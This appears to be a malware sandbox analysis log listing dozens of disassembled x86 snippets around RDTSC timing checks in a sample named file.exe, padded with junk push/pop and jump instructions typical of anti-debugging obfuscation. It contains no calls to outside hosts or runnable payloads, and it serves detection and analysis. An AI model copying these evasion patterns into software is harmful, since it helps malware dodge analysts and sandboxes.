Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1087F00 second address: 1087F19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F8Fh 0x00000007 jo 00007FE6C5005F86h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1087F19 second address: 1087F1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1087F1F second address: 1087F25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1088C29 second address: 1088C47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a je 00007FE6C4735516h 0x00000010 ja 00007FE6C4735516h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 108740C second address: 1087418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE6C5005F86h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1094994 second address: 10949B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735527h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109456F second address: 1094575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1094575 second address: 109457A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109F583 second address: 109F5C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F94h 0x00000007 jmp 00007FE6C5005F98h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f pushad 0x00000010 jl 00007FE6C5005F88h 0x00000016 push eax 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A6DE7 second address: 10A6DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A6DED second address: 10A6E0D instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE6C5005F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FE6C5005F90h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A6E0D second address: 10A6E15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A6E15 second address: 10A6E1F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A6E1F second address: 10A6E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A6E25 second address: 10A6E29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A6852 second address: 10A6858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A698B second address: 10A6991 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A6991 second address: 10A69AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C473551Fh 0x00000009 je 00007FE6C4735516h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A851F second address: 10A8539 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F91h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B47A3 second address: 10B47A8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B4634 second address: 10B463C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B463C second address: 10B4649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jp 00007FE6C4735516h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BDD0B second address: 10BDD16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FE6C5005F86h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BDD16 second address: 10BDD51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 ja 00007FE6C473552Dh 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007FE6C4735525h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FE6C4735524h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BE000 second address: 10BE007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BE18F second address: 10BE195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BE195 second address: 10BE1AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FE6C5005F8Ah 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BE447 second address: 10BE44D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BE44D second address: 10BE45B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FE6C5005F86h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BE45B second address: 10BE480 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE6C4735516h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FE6C4735523h 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BE480 second address: 10BE4B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE6C5005F95h 0x00000008 push edx 0x00000009 pop edx 0x0000000a jo 00007FE6C5005F86h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE6C5005F93h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10C0AB5 second address: 10C0AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10C0AB9 second address: 10C0ABD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10C4E38 second address: 10C4E49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jnc 00007FE6C4735516h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10CFD68 second address: 10CFD74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FE6C5005F86h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E5631 second address: 10E5635 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E5635 second address: 10E5669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE6C5005F95h 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007FE6C5005F8Ch 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 jng 00007FE6C5005F86h 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E5669 second address: 10E566E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E6D26 second address: 10E6D39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FE6C5005F8Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E6D39 second address: 10E6D3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E8BD3 second address: 10E8BF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007FE6C5005F94h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E87FD second address: 10E8810 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Eh 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E8964 second address: 10E896A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E896A second address: 10E8970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11003E7 second address: 11003EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11006D1 second address: 11006D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11006D7 second address: 11006DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11006DB second address: 11006DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11009A9 second address: 11009AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11009AF second address: 11009B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11009B3 second address: 11009BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1100C8F second address: 1100CB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007FE6C4735516h 0x0000000c popad 0x0000000d jmp 00007FE6C4735524h 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1100CB9 second address: 1100CBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1100CBD second address: 1100CC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1100E2B second address: 1100E34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11011C6 second address: 11011CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11011CA second address: 11011CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11011CE second address: 11011E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FE6C473551Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1102CE7 second address: 1102CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FE6C5005F86h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1102CF2 second address: 1102D3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE6C4735527h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FE6C4735526h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE6C4735524h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1105620 second address: 1105624 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11058AA second address: 11058BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 jl 00007FE6C4735524h 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007FE6C4735516h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1105973 second address: 1105977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1105977 second address: 11059AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 jmp 00007FE6C473551Bh 0x0000000e pop ecx 0x0000000f nop 0x00000010 sub dword ptr [ebp+122D1C8Eh], edx 0x00000016 push 00000004h 0x00000018 mov dword ptr [ebp+12469F71h], edi 0x0000001e push 771B5757h 0x00000023 push eax 0x00000024 push edx 0x00000025 je 00007FE6C4735518h 0x0000002b push edi 0x0000002c pop edi 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1105C57 second address: 1105C5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1105C5C second address: 1105C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov edx, 02B8B620h 0x00000011 jmp 00007FE6C4735524h 0x00000016 push dword ptr [ebp+122D1EFEh] 0x0000001c jbe 00007FE6C473551Ch 0x00000022 push EC8C5097h 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1105C9E second address: 1105CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1105CA2 second address: 1105CA8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1107587 second address: 11075B6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FE6C5005F8Dh 0x00000008 pop edi 0x00000009 jne 00007FE6C5005F8Ch 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jnl 00007FE6C5005F8Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11070AA second address: 11070AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11070AE second address: 11070B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11070B4 second address: 11070E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C4735529h 0x00000009 jmp 00007FE6C4735524h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 110909A second address: 11090A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11090A0 second address: 11090A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11090A4 second address: 11090AE instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE6C5005F86h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0D6F second address: 55B0D73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0D73 second address: 55B0DBA instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE6C5005F96h 0x00000008 xor cx, 7038h 0x0000000d jmp 00007FE6C5005F8Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 test ecx, ecx 0x00000018 pushad 0x00000019 mov ecx, 4EFC9A8Bh 0x0000001e mov eax, 3F185467h 0x00000023 popad 0x00000024 jns 00007FE6C5006005h 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0DBA second address: 55B0DC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0DC0 second address: 55B0E25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE6C5005F8Ch 0x00000009 adc al, FFFFFFC8h 0x0000000c jmp 00007FE6C5005F8Bh 0x00000011 popfd 0x00000012 push ecx 0x00000013 pop ebx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 add eax, ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007FE6C5005F97h 0x00000022 or ecx, 3D2A48BEh 0x00000028 jmp 00007FE6C5005F99h 0x0000002d popfd 0x0000002e mov dx, ax 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0E25 second address: 55B0E2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0E2B second address: 55B0E3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax+00000860h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0E3F second address: 55B0E43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55B0E43 second address: 55B0E5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F98h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1018AA6 second address: 1018ABB instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE6C4735516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007FE6C4735516h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55D037D second address: 55D0383 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0881 second address: 55C08DA instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE6C4735522h 0x00000008 adc cl, 00000038h 0x0000000b jmp 00007FE6C473551Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov ebx, ecx 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a movsx ebx, si 0x0000001d pushfd 0x0000001e jmp 00007FE6C4735528h 0x00000023 or cl, FFFFFFC8h 0x00000026 jmp 00007FE6C473551Bh 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C08DA second address: 55C0944 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE6C5005F8Fh 0x00000009 adc cx, 180Eh 0x0000000e jmp 00007FE6C5005F99h 0x00000013 popfd 0x00000014 push eax 0x00000015 pop edi 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a jmp 00007FE6C5005F8Dh 0x0000001f xchg eax, ebp 0x00000020 jmp 00007FE6C5005F8Eh 0x00000025 mov ebp, esp 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a jmp 00007FE6C5005F8Dh 0x0000002f mov bx, ax 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0944 second address: 55C0949 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C0949 second address: 55C096D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, 492Ch 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jmp 00007FE6C5005F90h 0x00000011 mov dword ptr [esp], ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C096D second address: 55C09A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FE6C4735523h 0x0000000a or ah, FFFFFF8Eh 0x0000000d jmp 00007FE6C4735529h 0x00000012 popfd 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C09A3 second address: 55C09AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C09AA second address: 55C09F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esp 0x00000008 pushad 0x00000009 mov si, 21ABh 0x0000000d pushfd 0x0000000e jmp 00007FE6C4735520h 0x00000013 adc ax, 1B38h 0x00000018 jmp 00007FE6C473551Bh 0x0000001d popfd 0x0000001e popad 0x0000001f mov dword ptr [esp], esi 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FE6C4735525h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55C09F4 second address: 55C09F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
